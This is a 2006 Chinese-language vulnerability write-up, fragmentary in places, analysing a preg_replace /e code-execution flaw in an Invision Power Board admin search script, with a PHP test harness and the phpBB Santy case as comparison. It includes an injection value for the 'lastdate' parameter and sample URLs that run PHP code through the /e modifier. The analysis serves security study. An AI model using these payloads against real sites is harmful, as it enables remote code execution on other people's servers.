创建时间:2006-05-03
文章属性:原创
文章提交:HeiGe (hack-520_at_163.com)
Blog:[url]http://superhei.blogbus.com/[/url]
Team:[url]http://www.ph4nt0m.org[/url]
Data: 2006-04-27
##简单分析###
#############
该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php 行1258-1262:
{
$this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1
}
}
##利用方法###
#############
##分析讨论###
#############
1.
简单分析:
这个分析,掉了一个重要的细节:preg_replace+/e 里有3个参数,只有第2个参数里的代码才可以执行,但是上面的语句貌似是第3个参数提交
注意最后的;和//之间有一空格
这个又是为什么呢?因为我们提交的lastdate=z|eval.*?%20//)%23e%00里是已空格+//为标志的,所以我们提交的shellcode也要有空格+//
3.preg_replace存在null截断漏洞????
<?
$a=$_GET[a];
echo preg_replace("#(value=[\"']z|eval.*?//)#e{$a}[\"'])#i ","\\1 ","heigegegxxxxxxxeval(phpinfo());//");
?>
Warning: Unknown modifier '2' in d:\easyphp\www\test2.php on line 3
主要是在this->output里以eval和%20//为标志取\\1 为执行的php代码。
还记得Santy吗?就是利用的phpbb里的一个preg_replace,这里会会被利用呢?ipb这个漏洞的利用必须要登陆,但是在ipb注册时候有“图片
##总结模型###
#############
1.直接在preg_replace第2个变量执行的模式:
<?
echo preg_replace("/test/e",$h,"jutst test");
?>
提交[url]http://127.0.0.1/test/11/preg.php?h=phpinfo[/url]()
实例如:phpbb的viewtopic.php变量$highliht_match提交php代码执行漏洞
<?
echo preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $h);
?>
提交:[url]http://127.0.0.1/test/11/preg.php?h=[/url][php]phpinfo()[/php]